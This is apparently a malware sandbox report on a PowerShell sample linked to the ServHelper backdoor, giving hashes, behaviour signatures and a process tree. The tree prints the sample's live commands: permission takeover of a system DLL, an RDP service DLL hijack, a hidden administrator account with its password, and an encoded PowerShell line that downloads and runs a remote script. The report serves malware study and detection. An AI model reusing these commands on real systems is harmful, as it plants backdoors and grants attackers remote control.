Analysis
-
max time kernel
132s -
max time network
132s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
08-02-2022 02:28
Static task
static1
Behavioral task
behavioral1
Sample
b4b4e78ce6633cc8662dfde524de61a8bdfdc92c0f69fb9e3d68f6f34597dde5.ps1
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
b4b4e78ce6633cc8662dfde524de61a8bdfdc92c0f69fb9e3d68f6f34597dde5.ps1
Resource
win10v2004-en-20220113
General
-
Target
b4b4e78ce6633cc8662dfde524de61a8bdfdc92c0f69fb9e3d68f6f34597dde5.ps1
-
Size
3.8MB
-
MD5
213d018805394eb6e12f57005f1d45e0
-
SHA1
b01887dc649cb1209abdad8ce9ea59ec33d1c6b2
-
SHA256
b4b4e78ce6633cc8662dfde524de61a8bdfdc92c0f69fb9e3d68f6f34597dde5
-
SHA512
c0334c5e90c3e5edd09c9ac7a7c5792bcdf43b4fd9362e5c573d6f0729d5c71db611967a9d5c417d430575a951e6270d7049879711db1a38598a2f16d486233c
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 1632 powershell.exe 6 1632 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
pid Process 1148 icacls.exe 1600 takeown.exe 1592 icacls.exe 1564 icacls.exe 1620 icacls.exe 560 icacls.exe 432 icacls.exe 1344 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral1/files/0x000400000000b1f2-99.dat upx -
Deletes itself 1 IoCs
pid Process 960 powershell.exe -
Loads dropped DLL 2 IoCs
pid Process 1464 Process not Found 1464 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 560 icacls.exe 432 icacls.exe 1344 icacls.exe 1148 icacls.exe 1600 takeown.exe 1592 icacls.exe 1564 icacls.exe 1620 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UCH5SRNWMGJTJ2BCFMUX.temp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b01ae3d5c11cd801 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1824 reg.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 960 powershell.exe 620 powershell.exe 1648 powershell.exe 1444 powershell.exe 960 powershell.exe 960 powershell.exe 960 powershell.exe 1632 powershell.exe -
Suspicious behavior: LoadsDriver 3 IoCs
pid Process 460 Process not Found 1464 Process not Found 1464 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 960 powershell.exe Token: SeDebugPrivilege 620 powershell.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeDebugPrivilege 1444 powershell.exe Token: SeRestorePrivilege 1564 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1120 WMIC.exe Token: SeIncreaseQuotaPrivilege 1120 WMIC.exe Token: SeAuditPrivilege 1120 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1120 WMIC.exe Token: SeIncreaseQuotaPrivilege 1120 WMIC.exe Token: SeAuditPrivilege 1120 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1592 WMIC.exe Token: SeIncreaseQuotaPrivilege 1592 WMIC.exe Token: SeAuditPrivilege 1592 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1592 WMIC.exe Token: SeIncreaseQuotaPrivilege 1592 WMIC.exe Token: SeAuditPrivilege 1592 WMIC.exe Token: SeDebugPrivilege 1632 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 960 wrote to memory of 620 960 powershell.exe 28 PID 960 wrote to memory of 620 960 powershell.exe 28 PID 960 wrote to memory of 620 960 powershell.exe 28 PID 960 wrote to memory of 1648 960 powershell.exe 30 PID 960 wrote to memory of 1648 960 powershell.exe 30 PID 960 wrote to memory of 1648 960 powershell.exe 30 PID 960 wrote to memory of 1444 960 powershell.exe 33 PID 960 wrote to memory of 1444 960 powershell.exe 33 PID 960 wrote to memory of 1444 960 powershell.exe 33 PID 960 wrote to memory of 1600 960 powershell.exe 37 PID 960 wrote to memory of 1600 960 powershell.exe 37 PID 960 wrote to memory of 1600 960 powershell.exe 37 PID 960 wrote to memory of 1592 960 powershell.exe 38 PID 960 wrote to memory of 1592 960 powershell.exe 38 PID 960 wrote to memory of 1592 960 powershell.exe 38 PID 960 wrote to memory of 1564 960 powershell.exe 39 PID 960 wrote to memory of 1564 960 powershell.exe 39 PID 960 wrote to memory of 1564 960 powershell.exe 39 PID 960 wrote to memory of 1620 960 powershell.exe 40 PID 960 wrote to memory of 1620 960 powershell.exe 40 PID 960 wrote to memory of 1620 960 powershell.exe 40 PID 960 wrote to memory of 560 960 powershell.exe 41 PID 960 wrote to memory of 560 960 powershell.exe 41 PID 960 wrote to memory of 560 960 powershell.exe 41 PID 960 wrote to memory of 432 960 powershell.exe 42 PID 960 wrote to memory of 432 960 powershell.exe 42 PID 960 wrote to memory of 432 960 powershell.exe 42 PID 960 wrote to memory of 1344 960 powershell.exe 43 PID 960 wrote to memory of 1344 960 powershell.exe 43 PID 960 wrote to memory of 1344 960 powershell.exe 43 PID 960 wrote to memory of 1148 960 powershell.exe 44 PID 960 wrote to memory of 1148 960 powershell.exe 44 PID 960 wrote to memory of 1148 960 powershell.exe 44 PID 960 wrote to memory of 644 960 powershell.exe 45 PID 960 wrote to memory of 644 960 powershell.exe 45 PID 960 wrote to memory of 644 960 powershell.exe 45 PID 960 wrote to memory of 1824 960 powershell.exe 46 PID 960 wrote to memory of 1824 960 powershell.exe 46 PID 960 wrote to memory of 1824 960 powershell.exe 46 PID 960 wrote to memory of 1780 960 powershell.exe 47 PID 960 wrote to memory of 1780 960 powershell.exe 47 PID 960 wrote to memory of 1780 960 powershell.exe 47 PID 960 wrote to memory of 1504 960 powershell.exe 48 PID 960 wrote to memory of 1504 960 powershell.exe 48 PID 960 wrote to memory of 1504 960 powershell.exe 48 PID 1504 wrote to memory of 1528 1504 net.exe 49 PID 1504 wrote to memory of 1528 1504 net.exe 49 PID 1504 wrote to memory of 1528 1504 net.exe 49 PID 960 wrote to memory of 1488 960 powershell.exe 50 PID 960 wrote to memory of 1488 960 powershell.exe 50 PID 960 wrote to memory of 1488 960 powershell.exe 50 PID 1488 wrote to memory of 1680 1488 cmd.exe 51 PID 1488 wrote to memory of 1680 1488 cmd.exe 51 PID 1488 wrote to memory of 1680 1488 cmd.exe 51 PID 1680 wrote to memory of 1728 1680 cmd.exe 53 PID 1680 wrote to memory of 1728 1680 cmd.exe 53 PID 1680 wrote to memory of 1728 1680 cmd.exe 53 PID 1728 wrote to memory of 1720 1728 net.exe 52 PID 1728 wrote to memory of 1720 1728 net.exe 52 PID 1728 wrote to memory of 1720 1728 net.exe 52 PID 960 wrote to memory of 1768 960 powershell.exe 54 PID 960 wrote to memory of 1768 960 powershell.exe 54 PID 960 wrote to memory of 1768 960 powershell.exe 54 PID 1768 wrote to memory of 1904 1768 cmd.exe 55
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b4b4e78ce6633cc8662dfde524de61a8bdfdc92c0f69fb9e3d68f6f34597dde5.ps11⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:620
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1444
-
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1600
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1592
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1564
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1620
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:560
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:432
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1344
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1148
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f2⤵PID:644
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f2⤵
- Modifies registry key
PID:1824
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f2⤵PID:1780
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add2⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵PID:1528
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr2⤵
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\system32\cmd.execmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\system32\net.exenet start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1728
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService2⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\system32\cmd.execmd /c net start TermService3⤵PID:1904
-
C:\Windows\system32\net.exenet start TermService4⤵PID:1136
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService5⤵PID:1532
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f2⤵PID:1480
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f2⤵PID:1716
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr1⤵PID:1720
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵PID:108
-
C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵PID:1208
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:956
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc h7PvZbL8 /add1⤵PID:1672
-
C:\Windows\system32\net.exenet.exe user wgautilacc h7PvZbL8 /add2⤵PID:908
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc h7PvZbL8 /add3⤵PID:1912
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵PID:1696
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵PID:884
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:1564
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD1⤵PID:560
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD2⤵PID:1344
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD3⤵PID:728
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵PID:644
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵PID:1292
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:1192
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc h7PvZbL81⤵PID:992
-
C:\Windows\system32\net.exenet.exe user wgautilacc h7PvZbL82⤵PID:1724
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc h7PvZbL83⤵PID:1704
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1456
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1120
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:552
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1592
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:688
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:728
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632
-
-